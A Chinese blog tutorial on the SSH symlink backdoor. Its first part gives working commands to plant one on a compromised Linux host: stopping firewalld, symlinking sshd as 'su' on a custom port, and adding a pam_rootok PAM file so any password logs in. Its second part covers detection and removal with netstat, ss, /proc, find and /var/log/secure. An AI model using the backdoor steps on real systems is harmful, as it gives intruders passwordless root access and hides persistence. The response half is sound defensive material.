首页 > 其他分享 >SSH软链接后门从入门到应急响应

SSH软链接后门从入门到应急响应

时间:2024-09-15 19:23:10浏览次数:3  
标签:后门 入门 su 命令 usr 链接 ssh SSH

目录

1. 软链接与SSH软链接后门介绍

1.1 软链接介绍

1.2 SSH软连接后门介绍

2. 如何在已拿下控制权限的主机创建后门

2.1  使用root账户并执行ssh软链接后门命令:

2.2  连接软链接后门测试:

2.3  创建其它账户 ssh软连接后门命令

3. 如何进行应急响应

3.1 查看服务器开放的端口号

3.1.1 命令一:对natstat -anpt查看的可疑进程进行查看

3.1.2 命令二 ss -tanp 查看的可疑进程进行查看

3.2 确定软链接后门文件

3.3:删除软链接后门


1. 软链接与SSH软链接后门介绍

1.1 软链接介绍

    软链接(Symbolic Link),通常被称为“符号链接”,是一种特殊类型的文件,它包含了对另一个文件或目录的引用路径。软链接类似于 Windows 中的快捷方式。它允许你为文件或目录创建一个别名,通过这个别名可以访问原始文件或目录。

1.2 SSH软连接后门介绍

    SSH软连接后门是一种利用Linux系统中PAM(Pluggable Authentication Modules)认证机制的漏洞来实现无密码远程登录的方法。通过创建一个指向/usr/sbin/sshd的软连接,并设置特定的端口,可以绕过正常的认证机制。例如,使用命令ln -sf /usr/sbin/sshd /tmp/su创建软连接,并通过/tmp/su -oPort=1234启动SSH服务在1234端口,可以实现无密码登录。

2. 如何在已拿下控制权限的主机创建后门

2.1 使用root账户并执行ssh软链接后门命令:

systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上

# 直接输入下面的命令
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 #ssh软链接
# 解释一下这段命令
目的:  创建一个指向 /usr/sbin/sshd 的软链接,并将其命名为 /usr/local/su 然后为这个软链接设置监听端口
ln 是一个用于创建链接的命令。
-s 选项表示创建软链接(symbolic link),也称为符号链接。
-f 选项表示如果目标位置已经有了一个文件或链接,那么在创建新链接之前将其强制删除。
/usr/sbin/sshd 是源文件的路径,这里是系统中 SSH 守护进程的可执行文件。
/usr/local/su 是你想要创建的软链接的路径。

2.2 连接软链接后门测试:

此处密码可以随意

# ssh root用户  服务器的ip地址  -p +监听的端口号
ssh [email protected] -p 12345
yes
密码随意输入,但是不能为空(也就是直接按回车)

下面通过kali进行后门连接测试

2.3 创建其它账户 ssh软连接后门命令

前提: 服务器存在普通账户wxg

systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上
第一步执行以下命令:
echo " 
 #%PAM-1.0
 auth       sufficient   pam_rootok.so
 auth       include      system-auth
 account    include      system-auth
 password   include      system-auth
 session    include      system-auth " >> /etc/pam.d/wxg

第二步执行开启软链接命令
ln -sf /usr/sbin/sshd /tmp/wxg;/tmp/wxg -oPort=14725

# 连接方式
 ssh [email protected] -p 14725

 

 

3. 如何进行应急响应

还是和之前一样先测试一下,是否可以正常连接,这里我用win来测试了,发现成功链接

 ssh [email protected] -p 14725  指定用户,ip以及连接端口号出现输入密码,只要不为空,随便输入按回车就行了

3.1 查看服务器开放的端口号

通过不同命令发现发现服务器网络开启有12345、14725异常端口,且名字为su、wxg

# 这理根据,主机是否存在对应的工具来选择命令,下面的命令都是一样的
# 命令一
natstat -anpt
su  17502
wxg 45120
# 命令二
ss -tanp
45545
45555

发现的可疑进程都是ssh服务

# 命令一发现的可疑进程
ll /proc/17502
ll /proc/45120

# 命令二发现的可疑进程
ll /proc/45554
ll /proc/45555

3.1.1 命令一:对natstat -anpt查看的可疑进程进行查看

 

3.1.2 命令二 ss -tanp 查看的可疑进程进行查看

3.2 确定软链接后门文件

查看所有的su文件,以及查找具体哪一个su是软链接后门,最终确定软链接为为/usr/local/su

# 先切换到/目录,因为查找的是所有的文件
cd /
# 查找名字为su的所有文件
find -name su

# 依次查看所有可疑的su文件,下面只展示其中的liang
ll /usr/share/bash-completion/completions/su
ll /usr/local/su

    不要忘了可以通过这个操作对日志进行分析,能够进一步确认攻击者的ip和用户等信息,进行后续的溯源等操作

# 登录成功的日志
more /var/log/secure | grep 'Accepted'
# 登录密码错误的日志
more /var/log/secure | grep 'Failed password'

3.3:删除软链接后门

这里需要注意的是不要用 rm -rf /usr/local/su/,如果后面多一个斜杠,就会把文件给删除

# 删除软链接
rm -rf   /usr/local/su
# 强制中断su这个进程
kill -9 17502
kill命令用于发送信号给进程。kill -9 17502 这个命令的含义是向进程ID(PID)为17502的进程发送一个信号9,即SIGKILL信号。

信号是Linux系统中用于进程间通信的一种机制。信号9(SIGKILL)是一个强制终止进程的信号,它告诉操作系统立即停止该进程,不给进程清理资源或正常终止的机会。通常,SIGKILL信号不能被进程捕获或忽略,因此它是一种非常强硬的终止进程的方式。

软链接后门被清除,无法登录

标签:后门,入门,su,命令,usr,链接,ssh,SSH
From: https://blog.csdn.net/weixin_72543266/article/details/142287236

相关文章

  • 【第35章】Spring Cloud之Seata-Server快速入门
    文章目录前言一、准备1.架构图2.工作机制3.Seata术语4.事务模式4.1SeataAT模式(依赖数据库)4.2SeataTCC模式(不依赖数据库)4.3SeataSaga模式(支持长事务)4.4SeataXA模式(支持XA协议)二、安装1.下载2.解压3.重要属性4.修改配置4.1配置中心4.2注......
  • C++链接的那些事
    接上文OK!Rightnow!  Let's go!今天我们来谈谈链接,什么是链接,C++链接实际上做什么的?链接是一个过程,当我们从源C++文件转到实际的可执行文件(二进制文件)。第一阶段是编译源文件,一旦我们把文件编译好,就需要通过一个叫做链接的过程,现在链接的主要工作是找到每个符号和......
  • C++编译 链接 执行那些事
    OK!Rightnow!  Let's go!如何从源文件开始,实际的文本文档到可执行的二进制代码,写C++程序的基本流程。实际是你有一些C++的源文件,然后将这些源文件给到编译器,编译器将其转成二进制的东西,二进制的东西可能是某种库,或者是可执行的程序。在#符号之后的都是预处理语句......
  • 搭建ssh服务实战
    目录1.关闭防火墙和selinux2.配置网络yum源3.软件安装安装openssh和openssh-server4.ssh基本安全配置设置ssh免密登录实战ssh安全防御隐患因素优化方案1.关闭防火墙和selinux2.配置网络yum源3.软件安装安装openssh和openssh-server安装openssh服务端......
  • 【Scala入门学习】Scala的方法和函数
    1.方法在scala中的操作符都被当成方法存在,比如说+、-、*、/1+2就是1.+(2)的调用,2.0是doule类型,强调用Int类型的写法为1.+(2:Int)1.1方法的声明和使用定义方法的语法:def方法名([变量:变量类型,变量:变量类型]):返回值类型={方法体}其中:在scala中,方法里面的最后一个表......
  • 【Scala入门学习】基本数据类型和变量声明
    1.基本数据类型scala的基本类型有9种:Byte、Char、Short、Int、Long、Float、Double、Boolean、UnitScala中没有基本数据类型的概念,所有的类型都是对象。AnyVal:代表所有基本类型。AnyRef:代表所以引用类型,包括Scalaclass和Javaclass。Any:是所有类的超类。如果不知......
  • 帝国CMS提示“您来自的链接不存在”怎么解决?
    当帝国CMS提示“您来自的链接不存在”时,这通常意味着系统无法找到或识别你尝试访问的链接。这种情况可能由多种原因造成,以下是一些常见的解决方法:1.检查链接地址确认链接地址:首先确认你尝试访问的链接地址是否正确,包括拼写错误或格式问题。清除缓存:有时候浏览器缓存可能导致......
  • 漫话linux:基础IO,软硬链接,动静态库管理
    1.软硬链接    1.软链接:是一个独立文件,具有独立的inode,也有独立的数据块,它的数据块里面保存的是指向的文件的路径,公用inode        1.建立软连接ln-s目标文件或目录,链接名 目标文件或目录表示路径,链接名代表命令,无论在哪里输入命令就能调......
  • C++入门补充语法
    1、C和C++的区别                首先C++是包含C语言的,C语言中的所有语法在C++中都可以应用,因为C语言语法限制过多导致许多东西实现起来不方便,所以C++又制订了一系列的语法来补充C语言的不足。2、命名空间2.1命名空间为什么要使用命名空间,下面我们使用一段......
  • Linux操作系统入门(二)
    完成了前篇所进行的VMware下载安装,并在其内配置了CentOS7的linux操作系统之后,我们得以正式进入了Linux的世界。一.安装FinalShell在本篇中,为了更好的在Windows系统上对虚拟机中的linux操作系统进行操作,我们需要下载一款新的应用程序————FinalShell(其官网如下所示)。ht......